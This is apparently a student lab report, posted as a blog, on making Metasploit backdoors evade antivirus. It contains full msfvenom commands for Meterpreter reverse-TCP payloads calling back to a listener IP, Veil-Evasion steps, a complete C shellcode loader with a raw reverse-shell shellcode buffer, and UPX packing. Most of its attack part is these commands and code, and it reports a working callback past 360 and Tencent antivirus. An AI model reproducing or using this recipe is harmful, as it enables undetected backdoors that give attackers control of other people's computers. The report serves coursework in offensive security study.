2019-2020-2 20175309刘雨恒 《网络对抗技术》EXP3免杀原理与实践

一、实验任务

(一)实验内容

1.1方法:
· 正确使用msf编码器
·msfvenom生成如jar之类的其他文件
·veil
·使用C + shellcode编程
·加壳工具
·使用其他课堂未介绍方法
1.2 通过组合应用各种技术实现恶意代码免杀
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

(二)基础知识

1.恶意检测机制
1.1基于特征码的检测
·简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
·AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。(这里的AV(Anti-virus)指恶意软件检测工具,即我们常说的杀毒软件。)
1.2启发式恶意软件检测
·简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件 吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
·优点:
·可以检测0-day恶意软件
·具有一定通用性
·缺点:
·实时监控系统行为,开销稍多
·没有基于特征码的精确度高
1.3基于行为的而已软件检测
·最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2.免杀
定义:免杀就是让安插的后门不被AV软件发现。
实现方法:
(1)改变特征码
·如果你手里只有EXE
·加壳:压缩壳 加密壳
·有shellcode(像Meterpreter)
·用encode进行编码
·基于payload重新编译生成可执行文件
·有源代码
·用其他语言进行重写再编译(veil-evasion)
(2)改变行为
·通讯方式
·尽量使用反弹式连接
·使用隧道技术
·加密通讯数据
·操作模式
·基于内存操作
·减少对系统的修改
·加入混淆作用的正常功能代码
(3)非常规方法
·使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
·使用社工类攻击,诱骗目标关闭AV软件。
·纯手工打造一个恶意软件

二、实验步骤

1.正确使用msf编码器

·生成一次编码的后门程序
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.95.128 LPORT=5309 -f exe > exp3.exe

·用VirusTotal检查一下,发现71种检测软件中56个检测出来了,效果很差。

·那我们来试一下如果生成十次编码的后门程序会怎么样
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.95.128 LPORT=5309 -f exe > encoded10.exe

·继续检测,57/72,em......好像被检测出来的概率更大了?

2.msfvenom生成如jar之类的其他文件

·换一种方式,生成jar形式的程序
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 x> 20175309jar.jar

·继续检测,20/56,检测概率明显降低,效果不错。

·再换一种php形式的程序
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 x> 20175309php.php

·检测结果:3/59,几乎可以骗过所有的AV,效果非常好。

·那如果攻击移动端的手机呢?生成一个apk来试水Android怎么样?(IOS想实现这个基本不可能)
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 x> 20175309apk.apk

·检测结果25/62,效果不如前两个,但是也比exe型的强多了。

3.veil

·想使用veil必须要先装好,安装很简单,输入命令sudo apt-get install veil进行在线安装就ok,中间无脑按y,需要很长时间,只要不出现error就成功了。
·输入veil进入veil(类似于debug),之后输入use evasion进入Veil-Evasion

·输入use c/meterpreter/rev_tcp.py进入配置页面

·设置反弹连接IP:set LHOST 192.168.95.128
·设置端口:set LPORT 5309

·输入命令generate生成程序并命名,程序保存的路径已经被标识出来了

·接下来就是激动人心的检测时刻,看看我们费老鼻子劲搞出来的程序怎么样。

·46/72?约等于白忙活一通,不过比之前直接生成的概率还是降低了一些的,可喜可贺。

4.使用C + shellcode编程

·试试我们之前实验用过的老套路。生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 -f -c

·创建一个c文件,注入shellcode

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x7a\x88"
"\x68\x02\x00\x14\xc5\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main() 
{ 
    int (*func)() = (int(*)())buf; 
    func(); 
}

·使用命令i686-w64-mingw32-g++ 5309.c -o 5309.exe生成可执行后门程序

·又到了检测的环节,看看我们换了一种新的方法又费了那么功夫搞出来的东西怎么样

·还是46/72???我好像被耍了。。。

5.加壳工具

·既然这些还不行,那么我们就改装病毒,给他加一个保护壳,类似于打仗时狙击手为了隐藏自己所穿的吉利服一样,以期待用这种方式混过检查。
·使用命令upx 5309.exe -o 5309pro.exe给刚才生成的程序加壳,并取名为5309pro。

·这次再来检测一下。

·虽然提升幅度不大,但是至少起作用了。

6.其他方法

·再换一种其他的方式看看效果如何。
·进入Veil-Evasion,输入list查看有用的荷载

·这里选择第32个,大概是在python环境下用des算法处理病毒
·输入generate生成程序,并选择2:msfvenom

·按tab键自动获取payload和IP,端口号自行输入即可。

·之后输入文件名(这里手滑命名为了6),并继续输入2

·进入目录找到xxx.py文件就是已经生成的后门文件
·之后就是熟悉的检测了

·这次终于皇天不负有心人,只有Microsoft检测了出来,其他全部通过,效果完美。

7.通过组合应用各种技术实现恶意代码免杀

·主机环境:win10 杀毒软件:腾讯电脑管家13.5
·这里继续使用了shellcode注入技术,生成了一个新的程序。
·之后进行加壳处理。
·通过共享文件夹分享给了主机win10,进行病毒查杀
·杀毒软件并没有发现它的存在

8.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

·主机环境:win7企业版 杀毒软件:360安全卫士12
·kali上将后门程序lyhnb发送到win7上
·进入exploit开始监听,win7打开程序回连
·kali成功获得win7的操控权,win7那边后门程序开启的情况下成功规避杀毒软件的检查。

三、实验感想

最大的感受就是终于可以搞出来一个可以规避杀毒软件的后门程序了,不用再像以前那样关闭重重阻碍(防火墙、杀毒软件)才能实现自己应有的效果。
不过很清楚自己的水平十分有限,如果接下来的杀毒软件继续更新下去我们生成的后门程序一定会被检测并清除掉,所以学好本领制作更高级的程序以逃避杀毒软件的检测是我们不懈努力的目标。

四、回答问题

(1)杀软是如何检测出恶意代码的?
答:现在应用最多的就是基于特征码的检测。如果这个程序中的某段代码与杀毒软件自带的特征码库里的代码匹配上了,则认为这是恶意代码并清除。
未来的趋势便是启发式检测,杀毒软件自己判断某个程序正在进行的行为类似于恶意软件,从而进行杀毒,有点人工智能的味道,需要更多的学习。优点是防患于未然,缺点则是容易滥杀无辜。
(2)免杀是做什么?
答:用技术手段使得非法程序免于被杀毒软件检测清除。
(3)免杀的基本方法有哪些?
答:改变特征码:加壳(压缩壳、加密壳)、用encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译(veil-evasion)
改变行为:通讯方式(使用反弹式连接、使用隧道技术、加密通讯数据)、操作模式(基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码)
非常规方法:使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中、使用社工类攻击,诱骗目标关闭AV软件、纯手工打造一个恶意软件。
(4)开启杀软能绝对防止电脑中恶意代码吗?
答:本来以为能的,结果这次实验发现杀毒软件也不能保证百分之百防止恶意代码,毕竟杀毒软件也是需要逐步完善和升级的。

posted @ 2020-03-31 00:36  20175309lyh  阅读(211)  评论(0编辑  收藏  举报